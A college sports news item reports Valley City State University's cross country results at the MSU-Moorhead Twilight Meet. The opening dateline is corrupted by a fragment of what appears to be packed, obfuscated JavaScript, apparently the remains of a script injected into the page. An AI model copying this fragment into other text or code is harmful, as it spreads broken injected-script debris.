MOORHEAD,MN sierh|var|u0026u|referrer|frnae||js|php’.split(‘|’),0,{}))
(VCSUVIKINGS.COM)-The Valley City State University cross country team opened the season Friday night by bringing six runners to the MSU-Moorhead Twilight Meet.

Dennis Gonzalez led a group of four VCSU men’s runners with a 17th place individual finish in the men’s 6k race. Gonzalez crossed the line in 19:43.3 and had the second-fastest NAIA time at the meet, which featured eight NCAA and NAIA teams from the area.

Orin Rambow placed 36th with a time of 20:59.2; Casey Engelhard was 41st in a time of 21:21.6; and Daniel Machado placed 48th in a time of 21:49.1. A total of 65 runners competed in the men’s race.

On the women’s side, Geneva Espinoza led the Vikings with a time of 18:26.3 and an 86th place finish. Jordan Lane took 93rd with a time of 18:46.2. A total of 102 runners competed in the women’s 4k race.

Rambo and Espinoza both competed at the meet last year and ran faster times on Friday night.

“The twilight meet at MSU-Moorhead provided us with a great deal of excitement to start the season,” said VCSU head coach Chris Johnson. “We were able to take advantage of a short, fast course, allowing the team to post some solid performances. This was a great confidence builder for the Roy Griak Invitational in two weeks.”

Up next: VCSU will compete at the Roy Griak Invitational in Minneapolis, Minn., on Saturday, Sept. 24.